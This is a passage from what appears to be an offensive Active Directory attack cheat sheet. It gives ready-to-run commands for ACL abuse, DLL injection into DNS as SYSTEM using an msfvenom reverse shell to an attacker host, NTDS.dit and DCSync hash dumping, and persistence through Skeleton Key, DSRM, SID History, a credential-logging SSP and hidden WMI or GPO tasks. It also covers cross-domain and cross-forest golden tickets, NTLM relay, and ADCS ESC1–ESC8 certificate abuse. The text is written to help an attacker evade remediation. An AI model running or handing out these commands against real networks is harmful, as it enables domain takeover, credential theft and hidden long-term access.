GenericWriteUserSet SPN → Kerberoast; set logon script → RCE at next loginCredential + RCE
GenericWriteGroupAddMemberGroup membership
GenericWriteComputerSet msDS-AllowedToActOnBehalfOfOtherIdentity (RBCD)Local admin → SYSTEM
WriteDACLAnyAdd any ACE (GenericAll, DCSync) to the objectFull control of object
WriteOwnerAnyTake ownership → WriteDACL → GenericAllFull control of object
ForceChangePasswordUserReset password without knowing currentAccount takeover
AllExtendedRightsUser/DomainReset password (users) + DCSync (domain object)DA via DCSync
AddMemberGroupAdd any account to groupGroup membership
SelfGroupAdd self to group (no GenericWrite needed)Group membership
# --- Find exploitable ACEs for a controlled user
Find-InterestingDomainAcl -ResolveGUIDs | Where-Object {$_.IdentityReference -match "CORP\\lowpriv"}

# --- GenericAll on User: reset password
Set-DomainUserPassword -Identity target_user -AccountPassword $(ConvertTo-SecureString 'Hacked!123' -AsPlainText -Force)

# --- GenericAll/GenericWrite on User: add SPN → Kerberoast (Targeted Kerberoasting)
Set-DomainObject -Identity target_user -Set @{serviceprincipalname="fake/fakeSPN"}
.\Rubeus.exe kerberoast /user:target_user /outfile:targeted.txt /format:hashcat

# --- GenericAll on Group: add member
Add-DomainGroupMember -Identity "Domain Admins" -Members lowpriv_user

# --- WriteDACL on domain object: grant DCSync rights
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity lowpriv_user -Rights DCSync

# --- WriteOwner: take ownership then WriteDACL
Set-DomainObjectOwner -Identity "Domain Admins" -OwnerIdentity lowpriv_user
Add-DomainObjectAcl -TargetIdentity "Domain Admins" -PrincipalIdentity lowpriv_user -Rights All

# --- ForceChangePassword
$newpw = ConvertTo-SecureString "NewPassword123!" -AsPlainText -Force
Set-DomainUserPassword -Identity target_user -AccountPassword $newpw -Credential $cred

AdminSDHolder — Persistent ACL Backdoor

AdminSDHolder is the ACL template for privileged objects

AdminSDHolder is an AD object in the System container. Every 60 minutes, the SDProp (Security Descriptor Propagator) process copies its DACL to all "AdminSDHolder-protected" objects — Domain Admins, Enterprise Admins, Schema Admins, Administrators, and members of those groups. If you add a backdoor ACE to AdminSDHolder, SDProp will propagate it to every protected group within one hour. DACL changes made directly on protected objects are overwritten — making this the most durable ACL persistence mechanism.

# --- Add GenericAll ACE to AdminSDHolder for our backdoor user
Add-DomainObjectAcl -TargetIdentity "CN=AdminSDHolder,CN=System,DC=corp,DC=local" -PrincipalIdentity backdoor_user -Rights All -Verbose

# --- Trigger SDProp manually (don't wait 60 min — forces immediate propagation)
$str = @('ldap','///','DC01.corp.local'); [System.DirectoryServices.Protocols.LdapConnection]::new($str) | Out-Null

# After propagation: backdoor_user has GenericAll on Domain Admins, Enterprise Admins, etc.
Get-DomainObjectAcl "Domain Admins" -ResolveGUIDs | Where-Object {$_.IdentityReference -match "backdoor"}

# Now add to Domain Admins any time:
Add-DomainGroupMember -Identity "Domain Admins" -Members backdoor_user

DnsAdmins — DLL Injection as SYSTEM

# Members of DnsAdmins can load arbitrary DLL into the DNS service (runs as SYSTEM on DC)

# Step 1: Create malicious DLL
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.1 LPORT=4444 -f dll -o evil.dll
# Or: DLL that adds user to Domain Admins
# $code = 'net group "Domain Admins" backdoor /add /domain'

# Step 2: Host DLL (attacker SMB server)
python3 -m impacket.smbserver -smb2support share .

# Step 3: Configure DNS plugin (as DnsAdmins member)
dnscmd DC01 /config /serverlevelplugindll \\10.10.10.1\share\evil.dll

# Step 4: Restart DNS service
sc.exe \\DC01.corp.local stop dns
sc.exe \\DC01.corp.local start dns

# Cleanup (remove plugin after)
dnscmd DC01 /config /serverlevelplugindll ""

Backup Operators — Read Any File on DC

# Backup Operators have SeBackupPrivilege — read ANY file on DC (bypass ACLs)
# Can dump SAM, SYSTEM, NTDS.dit

# Enable privilege (must be done in session with Backup Operators membership)
Import-Module .\SeBackupPrivilegeUtils.dll
Import-Module .\SeBackupPrivilegeCmdLets.dll
Set-SeBackupPrivilege

# Copy NTDS.dit (requires volume shadow copy trick)
$s = [wmi]"\\DC01\root\cimv2:Win32_ShadowCopy"; $sid = $s.Create("C:\","ClientAccessible"); $v = $s.GetRelated("Win32_ShadowCopy") | Select -First 1
Copy-FileSeBackupPrivilege "$($v.DeviceObject)\Windows\NTDS\NTDS.dit" C:\loot\ntds.dit
reg.exe save HKLM\SYSTEM C:\loot\SYSTEM

# Extract hashes on Linux
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL

GPO Abuse — Code Exec on All Machines in OU

# Find GPOs with write access
Get-DomainGPO | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {
    $_.ActiveDirectoryRights -match "CreateChild|WriteProperty|GenericWrite|GenericAll" -and
    $_.SecurityIdentifier -eq (Get-DomainUser -Identity lowpriv).objectsid
}

# SharpGPOAbuse — add immediate scheduled task to run payload
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "WinUpdate" --Author "NT AUTHORITY\SYSTEM" --Command "cmd.exe" --Arguments "/c net localgroup administrators backdoor_user /add" --GPOName "Default Domain Policy"

# Add user rights
.\SharpGPOAbuse.exe --AddUserRights --UserRights "SeDebugPrivilege,SeImpersonatePrivilege" --UserAccount backdoor_user --GPOName "VulnerableGPO"

# Trigger GP refresh on target (instead of waiting)
Invoke-GPUpdate -ComputerName TARGET_MACHINE -Force
// 07 — Persistence

Persistence

Survive remediation — build multiple layers

AD persistence lives in the identity layer — not in files or registries. The best persistence mechanisms survive password resets, logon policy changes, even partial remediation. The goal is to have at least 2–3 independent paths back to Domain Admin so that if one is found and removed, your access continues. Establish persistence before triggering any loud actions.

Skeleton Key — Universal Master Password on DC

What is a Skeleton Key?

Mimikatz patches the LSASS process on a Domain Controller to accept a master password (mimikatz by default) in addition to every account's real password. Any account — including Domain Admins — can now be authenticated with either their real password or the skeleton key. This is not persistent: it lives only in LSASS memory and is lost on DC reboot. However, it provides immediate, invisible access to every account in the domain without changing any credentials.

# Requires: DA rights / SYSTEM on DC
# Patch LSASS (in memory only — not persistent)
.\Mimikatz.exe "privilege::debug" "misc::skeleton" "exit"

# Now authenticate as ANY user with password 'mimikatz' (master key)
Enter-PSSession -ComputerName DC01 -Credential (New-Object PSCredential("corp\anyuser", (ConvertTo-SecureString "mimikatz" -AsPlainText -Force)))

# Verify: try net use with skeleton key
net use \\DC01\IPC$ /user:corp\Administrator mimikatz

# Note: only survives until DC reboot — re-run after each reboot for persistence
# To re-patch automatically: use a scheduled task or GPO startup script

DSRM Backdoor — Permanent DC Local Admin

DSRM = Directory Services Restore Mode

Every Domain Controller has a local Administrator account for recovery (DSRM). This account's hash is stored in the SAM hive of the DC — separate from AD. By default, this account can only log in locally in DSRM mode. But a registry change enables network logon with this credential. Extract the DSRM hash, enable network logon, and you have a persistent local administrator on the DC that survives domain password resets and krbtgt rotations.

# Step 1: Extract DSRM hash (requires DA/SYSTEM on DC)
.\Mimikatz.exe "token::elevate" "lsadump::sam" "exit"   # find 'Administrator' local entry
# Or: lsadump::secrets — look for $MACHINE.ACC and local SAM hashes

# Step 2: Enable DSRM network logon (run on DC — requires DA)
Invoke-Command -ComputerName DC01.corp.local -ScriptBlock {
    New-ItemProperty "HKLM:\System\CurrentControlSet\Control\Lsa\" -Name "DsrmAdminLogonBehavior" -Value 2 -PropertyType DWORD -Force
}
# Value 2 = allow network logon always (not just in DSRM mode)

# Step 3: Authenticate via DSRM hash (from attacker machine)
.\Mimikatz.exe "sekurlsa::pth /domain:DC01 /user:Administrator /ntlm:DSRM_HASH /run:powershell.exe" "exit"
python3 secretsdump.py ./Administrator@DC01.corp.local -hashes :DSRM_HASH  # Impacket

# Useful for: persistent access even after all AD accounts are reset

SID History Injection — Ghost Membership

SID History lets accounts carry extra group memberships silently

SID History is an AD attribute designed for account migrations — it lets a migrated account retain access to resources from its old domain. When an account authenticates, its SID History is included in the Kerberos PAC. An attacker with DA rights can inject any SID — including Enterprise Admins (S-1-5-21-forest-SID-519) — into any account's SID History. The account then has those privileges at every access check, but nothing about the account's group membership display has changed.

# Inject Enterprise Admins SID into a low-priv user (requires DA + Mimikatz)
.\Mimikatz.exe "privilege::debug" "misc::addsid backdoor_user S-1-5-21-FOREST-ROOT-SID-519" "exit"

# Verify SID History was added
Get-ADUser backdoor_user -Properties SIDHistory | Select -ExpandProperty SIDHistory

# Now backdoor_user has Enterprise Admin privileges at every resource access
# but doesn't appear in the Enterprise Admins group in AD

Custom SSP — Log All Passwords in Plaintext

Security Support Providers are loaded by LSASS

Windows loads Security Support Provider DLLs into LSASS at startup. Mimikatz's mimilib.dll can be registered as a custom SSP — it intercepts all authentication events and logs credentials to a file. Every user who authenticates to the DC sends their plaintext credentials through LSASS — and they're all captured. This survives reboots (it's registered in the registry) and captures credentials for all accounts including service accounts, admin logins, and domain admin activity.

# Method 1: In-memory SSP (no file, no reboot — session only)
.\Mimikatz.exe "privilege::debug" "misc::memssp" "exit"
# Credentials logged to: C:\Windows\System32\mimilsa.log

# Method 2: Persistent SSP via registry (survives reboots)
# Copy mimilib.dll to C:\Windows\System32\
Copy-Item .\mimilib.dll C:\Windows\System32\mimilib.dll
$packages = (Get-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name "Security Packages")."Security Packages"
$packages += "mimilib"
Set-ItemProperty HKLM:\SYSTEM\CurrentControlSet\Control\Lsa\ -Name "Security Packages" -Value $packages
# After DC reboot: all credentials logged to C:\Windows\System32\kiwissp.log

# Read captured credentials
Get-Content C:\Windows\System32\kiwissp.log
Get-Content C:\Windows\System32\mimilsa.log

Malicious GPO — Mass Persistence via Policy

# Create a new GPO and link it to an OU (requires GPO creation rights)
New-GPO -Name "Windows Update Config" | New-GPLink -Target "OU=Workstations,DC=corp,DC=local"

# Add a scheduled task via GPO (runs at every machine startup as SYSTEM)
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "WinDefUpdate" --Author "NT AUTHORITY\SYSTEM" --Command "powershell.exe" --Arguments "-WindowStyle Hidden -enc BASE64_PAYLOAD" --GPOName "Windows Update Config"

# Or via startup script (runs at every user logon)
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount backdoor_user --GPOName "Windows Update Config"

# WMI Event Subscription (fileless persistence — survives reboots, no GPO needed)
$filter = Set-WMIInstance -Class __EventFilter -Namespace "root\subscription" -Arguments @{Name="UpdateCheck"; EventNameSpace="root\cimv2"; QueryLanguage="WQL"; Query="SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Minutes=0"}
$consumer = Set-WMIInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{Name="UpdateCheck"; CommandLineTemplate="powershell -enc BASE64_PAYLOAD"}
Set-WMIInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$filter; Consumer=$consumer}
Persistence checklist: (1) Golden Ticket stored offline — survives krbtgt rotation until 2nd reset. (2) DSRM backdoor on DC — survives all domain resets. (3) AdminSDHolder ACE — survives group membership changes. (4) Backdoor service principal with secret — invisible to normal AD reporting. (5) Custom SSP — captures all future credentials. Never rely on just one.
// 08 — Domain Dominance

Domain Dominance

DCSync — Replicate the Domain Controller

Why DCSync is the gold standard

Domain Controllers replicate AD data between themselves using the MS-DRSR (Directory Replication Service Remote) protocol. Accounts with DS-Replication-Get-Changes and DS-Replication-Get-Changes-All rights can request replication of any object, including password hashes. DCSync abuses this — you tell a DC you're another DC that needs replication, and it sends you every NTLM hash in the domain. No agent on the DC, no file writes, no interaction with LSASS. The only artifact is a single Windows Security Event 4662.

# --- Grant DCSync rights (requires WriteDACL on domain object)
Add-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity attacker_user -Rights DCSync

# --- DCSync with Mimikatz (from any domain-joined machine)
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"            # krbtgt hash
.\Mimikatz.exe "lsadump::dcsync /user:corp\Administrator" "exit"     # DA hash
.\Mimikatz.exe "lsadump::dcsync /all /csv" "exit"                    # ALL hashes (noisy)
.\Mimikatz.exe "lsadump::dcsync /domain:corp.local /all /csv" "exit"

# --- Impacket secretsdump (from Linux — cleanest)
python3 secretsdump.py corp.local/Administrator:Password@DC01_IP
python3 secretsdump.py corp.local/attacker_user -hashes :NTLM_HASH @DC01_IP -just-dc-ntlm
python3 secretsdump.py corp.local/attacker_user:Password@DC01_IP -just-dc-user krbtgt

# --- netexec
nxc smb DC01_IP -u attacker_user -p Password --ntds  # dump all NTDS

NTDS.dit Extraction — Physical Dump from DC

When you have filesystem access to the DC

NTDS.dit is the Active Directory database file — it contains every object in the domain including password hashes. It's locked by the AD DS service while the DC is running. To copy it, you must use Volume Shadow Copies (VSS) which provides a snapshot of the locked file, or the ntdsutil IFM (Install From Media) feature. Always grab the SYSTEM registry hive alongside it — you need the boot key from SYSTEM to decrypt the hashes.

# --- Method 1: Volume Shadow Copy (run on DC as SYSTEM/DA)
vssadmin create shadow /for=C:
# Note the shadow copy device path from output, e.g.: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\loot\ntds.dit
cmd /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\loot\SYSTEM
reg save HKLM\SYSTEM C:\loot\SYSTEM   # alternative: save live registry

# Cleanup shadow copy
vssadmin delete shadows /shadow=SHADOW_COPY_ID /quiet

# --- Method 2: ntdsutil IFM (creates a clean snapshot)
ntdsutil "activate instance ntds" "ifm" "create full C:\loot\IFM" quit quit
# Creates: C:\loot\IFM\Active Directory\ntds.dit + C:\loot\IFM\registry\SYSTEM

# --- Method 3: netexec / Impacket (remote — no local access needed)
nxc smb DC01_IP -u Administrator -p Password --ntds vss   # uses VSS remotely
python3 secretsdump.py corp.local/Administrator:Password@DC01_IP -ntds

# --- Extract hashes from files on Linux
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL
python3 secretsdump.py -system SYSTEM -ntds ntds.dit LOCAL -just-dc-ntlm -outputfile all_hashes

Post-Compromise Checklist — What to Do After DA

# 1. Dump all hashes immediately
.\Mimikatz.exe "lsadump::dcsync /all /csv" "exit"

# 2. Get krbtgt hash (Golden Ticket material)
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt" "exit"

# 3. Get AES keys (for stealthier ticket operations)
.\Mimikatz.exe "privilege::debug" "lsadump::lsa /patch" "exit"  # includes AES keys

# 4. Establish persistence (multiple layers)
# - Add backdoor user to Domain Admins
# - Set AdminSDHolder ACE
# - DSRM backdoor
# - Golden Ticket (offline)

# 5. Enumerate forest trusts and pivot
Get-ForestTrust
Get-DomainTrust -Domain corp.local

# 6. Extract NTDS.dit (offline reference)
ntdsutil "ac i ntds" "ifm" "create full C:\loot" q q
// 09 — Cross-Domain Attacks

Cross-Domain Attacks

Child domain compromise → parent domain compromise

Within a forest, all domains share a common trust chain rooted at the Forest Root Domain. A parent-child trust is automatically bidirectional and transitive. If you compromise a child domain (e.g., dev.corp.local), you can pivot to the forest root (corp.local) using either: (1) the child domain's krbtgt hash to forge a TGT with extra SIDs containing the parent's Enterprise Admins SID, or (2) the inter-realm trust key to forge referral tickets. Both methods yield Enterprise Admin access on the parent.

Method 1: ExtraSids — Golden Ticket with Parent Enterprise Admin SID

# --- Gather required information
# From child domain (dev.corp.local) — requires child DA:

# Child domain krbtgt hash
.\Mimikatz.exe "lsadump::dcsync /user:dev\krbtgt /domain:dev.corp.local" "exit"

# Child domain SID
Get-DomainSID -Domain dev.corp.local
# Or: (Get-ADDomain dev.corp.local).DomainSID

# Parent domain Enterprise Admins SID
# = Parent domain SID + -519
Get-DomainSID -Domain corp.local  # append -519

# --- Forge Golden Ticket with ExtraSids (Mimikatz)
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:dev.corp.local /sid:S-1-5-21-CHILD-SID /krbtgt:CHILD_KRBTGT_HASH /sids:S-1-5-21-PARENT-SID-519 /ptt" "exit"
# /sids = extra SIDs to add — Enterprise Admins of parent = PARENT-SID-519

# --- Rubeus ExtraSids
.\Rubeus.exe golden /user:Administrator /domain:dev.corp.local /sid:S-1-5-21-CHILD-SID /rc4:CHILD_KRBTGT_HASH /sids:S-1-5-21-PARENT-SID-519 /ptt

# --- Impacket
python3 ticketer.py -nthash CHILD_KRBTGT_HASH -domain-sid S-1-5-21-CHILD-SID -extra-sid S-1-5-21-PARENT-SID-519 -domain dev.corp.local -user-id 500 Administrator
export KRB5CCNAME=Administrator.ccache
python3 psexec.py -k -no-pass corp.local/Administrator@DC01.corp.local

# --- Access parent domain DC with forged ticket
dir \\DC01.corp.local\C$
Invoke-Command -ComputerName DC01.corp.local -ScriptBlock {hostname; whoami}

Method 2: Trust Key — Forge Inter-Realm Referral Ticket

How inter-realm trust tickets work

When a user in dev.corp.local accesses a resource in corp.local, the child KDC issues a referral ticket encrypted with the inter-realm trust key — a shared secret between the two KDCs. You can extract this key and forge your own referral ticket, then use it to get a TGS from the parent KDC. The key insight: the referral ticket contains SID history, so add the parent's Enterprise Admins SID there too.

# --- Extract inter-realm trust key from child DC (requires child DA)
.\Mimikatz.exe "lsadump::trust /patch" "exit"
# Look for: [ In ] corp.local -> dev.corp.local — this is the trust key

# --- Forge referral ticket with trust key + ExtraSids
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:dev.corp.local /sid:S-1-5-21-CHILD-SID /sids:S-1-5-21-PARENT-SID-519 /rc4:TRUST_KEY /service:krbtgt /target:corp.local /ptt" "exit"

# --- Use ticket to access parent resources
.\Mimikatz.exe "lsadump::dcsync /user:corp\krbtgt /domain:corp.local" "exit"

# Impacket version
python3 ticketer.py -nthash TRUST_KEY -domain-sid S-1-5-21-CHILD-SID -extra-sid S-1-5-21-PARENT-SID-519 -spn krbtgt/corp.local -domain dev.corp.local Administrator
export KRB5CCNAME=Administrator.ccache
python3 getST.py -k -no-pass -spn CIFS/DC01.corp.local corp.local/Administrator
python3 secretsdump.py -k -no-pass DC01.corp.local
Key SIDs to know: Domain Admins = SID-512 · Enterprise Admins = FOREST-ROOT-SID-519 · Schema Admins = FOREST-ROOT-SID-518 · Built-in Administrators = SID-544. Always add 512 and 519 at minimum in your ExtraSids.
// 10 — Cross-Forest Attacks

Cross-Forest Attacks

Forests are the true security boundary — but trusts break it

Forests are the ultimate AD security boundary. Unlike domain trusts within a forest (which are automatic and transitive), inter-forest trusts require explicit configuration. By default, SID filtering is enabled — it strips SID history from cross-forest authentication, preventing the ExtraSids attack. However, misconfigurations, disabled SID filtering, and foreign security principal abuse create viable cross-forest attack paths.

Forest Trust Enumeration

# Enumerate all forest trusts
Get-ForestTrust | Select TopLevelNames,TrustDirection,TrustType,TrustAttributes
nltest /domain_trusts /all_trusts

# Check SID filtering status
# TrustAttributes flag 0x4 = QUARANTINED (SID filtering ON)
Get-DomainTrust -Domain corp.local | Select TargetName,TrustAttributes
Get-ADTrust -Filter * -Properties * | Select Name,TrustAttributes,@{N="SIDFiltering";E={if($_.TrustAttributes -band 4){"ON"}else{"OFF"}}}

# Get users from trusted forest accessible in our forest
Get-DomainForeignGroupMember -Domain corp.local   # users from partner.org in our groups
Get-DomainForeignUser -Domain partner.org         # users from partner.org

Cross-Forest Compromise (SID Filtering Disabled)

When SID filtering is off — forests merge

If an administrator disabled SID filtering on a forest trust (setting TREAT_AS_EXTERNAL), the ExtraSids technique works across forests. Extract the inter-forest trust key from either side, forge a ticket with the Enterprise Admins SID of the target forest, and you can authenticate as Enterprise Admin in the partner forest. This completely collapses the forest security boundary.

# Check if SID filtering is disabled (TrustAttributes bit 0x40 = TREAT_AS_EXTERNAL)
Get-DomainTrust | Where-Object {$_.TrustAttributes -band 0x40}

# Extract forest trust key (from corp.local DC — requires corp.local DA)
.\Mimikatz.exe "lsadump::trust /patch" "exit"
# Look for trust key for partner.org

# Forge cross-forest ticket with partner's Enterprise Admins SID
.\Mimikatz.exe "kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-CORP-SID /sids:S-1-5-21-PARTNER-SID-519 /rc4:FOREST_TRUST_KEY /service:krbtgt /target:partner.org /ptt" "exit"

# Access partner forest DC
dir \\DC01.partner.org\C$
.\Mimikatz.exe "lsadump::dcsync /user:partner\krbtgt /domain:partner.org" "exit"

# Impacket
python3 ticketer.py -nthash FOREST_TRUST_KEY -domain-sid S-1-5-21-CORP-SID -extra-sid S-1-5-21-PARTNER-SID-519 -spn krbtgt/partner.org -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
python3 secretsdump.py -k -no-pass DC01.partner.org

Foreign Security Principal Abuse

# Foreign Security Principals (FSPs) = accounts from other forests added to local groups
# If a corp.local user is added to partner.org's "Administrators" group, they have admin rights there

# Find FSPs in remote forest (need read access to remote domain)
Get-DomainForeignGroupMember -Domain partner.org | Select GroupName,MemberName,MemberDomain

# If corp.local user is in a privileged group in partner.org:
# Authenticate from corp.local to partner.org resources using corp.local credentials
Get-DomainTrust -Domain corp.local  # confirm trust direction
# If corp.local user is listed as FSP admin → use their corp.local ticket cross-forest

Printer Bug / Coerce for Cross-Forest

# Coerce forest root DC to authenticate to your machine → relay NTLM cross-forest
# Useful when you have a foothold in one forest and want to pivot

# SpoolSample (PrinterBug) — coerce DC01.corp.local to auth to your listener
.\SpoolSample.exe DC01.corp.local ATTACKER_MACHINE.corp.local

# PetitPotam coerce
python3 PetitPotam.py -u user@corp.local -p Password LISTENER_IP DC01.corp.local

# Relay to partner.org LDAP (if cross-forest NTLM relay possible)
sudo ntlmrelayx.py -t ldap://DC01.partner.org -smb2support --no-da --no-acl
Real-world note: Full cross-forest compromise via SID injection requires SID filtering to be disabled — rare but does occur in environments that migrated domains or have old trust relationships. More common cross-forest paths: foreign security principals with over-privileged group membership, cross-forest Kerberoasting (if unconstrained delegation exists in target forest), and shared credentials across forests.
// 11 — ADCS Certificate Attacks

ADCS — Active Directory Certificate Services

Why ADCS is a goldmine for attackers

Active Directory Certificate Services (ADCS) is a PKI role deployed in most enterprise environments to issue digital certificates. Certificates can be used for smart card logon, authentication, code signing, and more. Crucially, a certificate that allows client authentication acts like a long-lived Kerberos ticket — valid for the template's lifetime (often 1–10 years), unaffected by password resets, and barely monitored. The SpecterOps research paper "Certified Pre-Owned" (2021) catalogued 8 escalation paths (ESC1–ESC8) that remain overwhelmingly prevalent in real environments. Certipy automates nearly all of them from Linux.

Enumeration

# --- Certipy — find all vulnerable templates and misconfigs
certipy find -u user@corp.local -p Password -dc-ip DC01_IP -vulnerable -stdout
certipy find -u user@corp.local -p Password -dc-ip DC01_IP -text -output adcs_enum

# --- certify.exe (Windows — PowerShell)
.\Certify.exe cas                        # list Certificate Authorities
.\Certify.exe find                       # find all templates
.\Certify.exe find /vulnerable           # vulnerable templates only
.\Certify.exe find /enrolleeSuppliesSubject   # ESC1-specific

# --- LDAP query for templates allowing client auth
Get-DomainObject -LDAPFilter "(&(objectclass=pkicertificatetemplate)(|(mspki-certificate-application-policy=1.3.6.1.5.5.7.3.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2)))" | Select-Object name,mspki-certificate-name-flag

# --- netexec
nxc ldap DC01_IP -u user -p Password -M adcs          # list CAs
nxc ldap DC01_IP -u user -p Password -M adcs -o SERVER=CA_NAME

ESC1 — Enrollee Supplies Subject (Impersonate Any User)

ESC1 — the most impactful ADCS misconfiguration

A certificate template has CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT set in mspki-certificate-name-flag, allows client authentication EKU, and permits domain user enrollment. This means you choose the Subject Alternative Name (SAN) when requesting the certificate. You request a cert claiming to be Administrator@corp.local. The CA issues it. You use that cert to authenticate as Administrator via PKINIT — no password needed.

# --- Certipy ESC1 (full attack: request cert + authenticate)
# Step 1: Request certificate for target user
certipy req -u user@corp.local -p Password -ca CORP-CA -target CA_SERVER -template VulnerableTemplate -upn administrator@corp.local

# Step 2: Authenticate with cert → get TGT + NTLM hash
certipy auth -pfx administrator.pfx -domain corp.local -username administrator -dc-ip DC01_IP

# --- Certify + Rubeus chain (Windows)
.\Certify.exe request /ca:CA_SERVER\CORP-CA /template:VulnerableTemplate /altname:administrator
# Convert .pem → .pfx
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx

.\Rubeus.exe asktgt /user:administrator /certificate:cert.pfx /password:pfx_password /ptt /nowrap

ESC2 — Any Purpose / Subordinate CA Template

# ESC2: template has "Any Purpose" EKU or no EKU at all
# Allows using cert for ANY purpose including smart card logon

# --- Certipy
certipy req -u user@corp.local -p Password -ca CORP-CA -template AnyPurposeTemplate -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip DC01_IP

ESC3 — Enrollment Agent Abuse

ESC3 — two-step enrollment agent attack

Two misconfigured templates make this work: (1) a template with Certificate Request Agent EKU that you can enroll in — this gives you an enrollment agent certificate; (2) a second template that permits enrollment agents to request certs on behalf of other users AND allows client auth. Use your enrollment agent cert to request a client auth cert for a DA.

# Step 1: Get enrollment agent certificate
certipy req -u user@corp.local -p Password -ca CORP-CA -template EnrollmentAgentTemplate

# Step 2: Use enrollment agent cert to request cert on behalf of Administrator
certipy req -u user@corp.local -p Password -ca CORP-CA -template User -on-behalf-of corp\\administrator -pfx agent.pfx

# Step 3: Authenticate
certipy auth -pfx administrator.pfx -dc-ip DC01_IP

ESC4 — Vulnerable Template ACL (Write Access)

# ESC4: you have WriteProperty/GenericWrite on a template → modify it to be ESC1
# Certipy does this automatically

# Save current template config, modify to ESC1, request cert, restore template
certipy template -u user@corp.local -p Password -template VulnACLTemplate -save-old
certipy req -u user@corp.local -p Password -ca CORP-CA -template VulnACLTemplate -upn administrator@corp.local
certipy auth -pfx administrator.pfx -dc-ip DC01_IP
# Restore template (clean up)
certipy template -u user@corp.local -p Password -template VulnACLTemplate -configuration VulnACLTemplate.json

ESC6 — EDITF_ATTRIBUTESUBJECTALTNAME2 on CA

# ESC6: CA has flag EDITF_ATTRIBUTESUBJECTALTNAME2 set
# This flag allows the requester to supply a SAN in ANY template request
# Even templates without CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT become vulnerable

# Check the flag:
certutil -config "CA_SERVER\CORP-CA" -getreg policy\EditFlags
# Look for: EditFlags REG_DWORD = 0x11014e (bit 0x40 = EDITF_ATTRIBUTESUBJECTALTNAME2)

# Exploit: request any enrollable template with SAN
certipy req -u user@corp.local -p Password -ca CORP-CA -template User -upn administrator@corp.local

ESC7 — Vulnerable CA ACL

# ESC7: you have ManageCertificates or ManageCA rights on the CA itself
# ManageCA → can enable EDITF_ATTRIBUTESUBJECTALTNAME2 flag → ESC6

# Step 1: Enable the ESC6 flag via CA management rights
certipy ca -u user@corp.local -p Password -ca CORP-CA -target CA_SERVER -enable-template SubCA

# Step 2: If you have ManageCertificates: approve failed requests
# Request cert that gets rejected, then approve it yourself
certipy req -u user@corp.local -p Password -ca CORP-CA -template SubCA -upn administrator@corp.local
# Note the request ID from output
certipy ca -u user@corp.local -p Password -ca CORP-CA -target CA_SERVER -issue-request REQUEST_ID
certipy req -u user@corp.local -p Password -ca CORP-CA -retrieve REQUEST_ID
certipy auth -pfx administrator.pfx -dc-ip DC01_IP

ESC8 — NTLM Relay to AD CS HTTP Enrollment (Web Enrollment)

ESC8 — relay machine auth to CA web enrollment

If the CA has Web Enrollment enabled (HTTP endpoint at http://CA/certsrv/) without Extended Protection for Authentication (EPA) or HTTPS, NTLM authentication can be relayed to it. Coerce a DC to authenticate to your listener (PrinterBug/PetitPotam), relay that NTLM to the CA web enrollment, and request a DC certificate. Use the DC certificate to perform DCSync via PKINIT + UnPAC-the-Hash.

# Step 1: Start relay targeting CA web enrollment
sudo certipy relay -ca CA_SERVER -template DomainController

# Step 2: Coerce DC to authenticate to your relay
python3 PetitPotam.py -u user -p Password ATTACKER_IP DC01.corp.local
# Or: .\SpoolSample.exe DC01.corp.local ATTACKER_IP

# Result: Certipy gets DC certificate saved as dc01.pfx

# Step 3: Authenticate with DC cert → get DC NTLM hash (UnPAC-the-Hash)
certipy auth -pfx dc01.pfx -dc-ip DC01_IP
# Outputs: DC01$:NTLM_HASH

# Step 4: DCSync using DC machine account hash
python3 secretsdump.py -hashes :DC01_NTLM_HASH 'corp.local/DC01$'@DC01_IP -just-dc-ntlm

Shadow Credentials (Key Trust) — Certificate-Based Account Takeover

msDS-KeyCredentialLink — passwordless backdoor

Windows Hello for Business stores public keys in msDS-KeyCredentialLink on user/computer objects. If you have GenericWrite or WriteProperty on an account, you can add your own key pair to this attribute. The account can then authenticate using the private key via PKINIT — no password change needed, no password reset needed, survives password resets. The Whisker tool automates this on Windows; pyWhisker on Linux.

# --- Certipy shadow credentials (Linux)
certipy shadow auto -u user@corp.local -p Password -account target_user -dc-ip DC01_IP
# Or step by step:
certipy shadow add -u user@corp.local -p Password -account target_user -dc-ip DC01_IP
certipy auth -pfx target_user.pfx -username target_user -domain corp.local -dc-ip DC01_IP

# --- pyWhisker (Linux)
python3 pywhisker.py -d corp.local -u user -p Password --target target_user --action add
# Then use gettgtpkinit.py with the generated PFX

# --- Whisker (Windows — requires GenericWrite on target)
.\Whisker.exe add /target:target_user /domain:corp.local /dc:DC01.corp.local
# Whisker outputs the Rubeus command to run:
.\Rubeus.exe asktgt /user:target_user /certificate:BASE64_CERT /password:cert_password /domain:corp.local /dc:DC01.corp.local /ptt
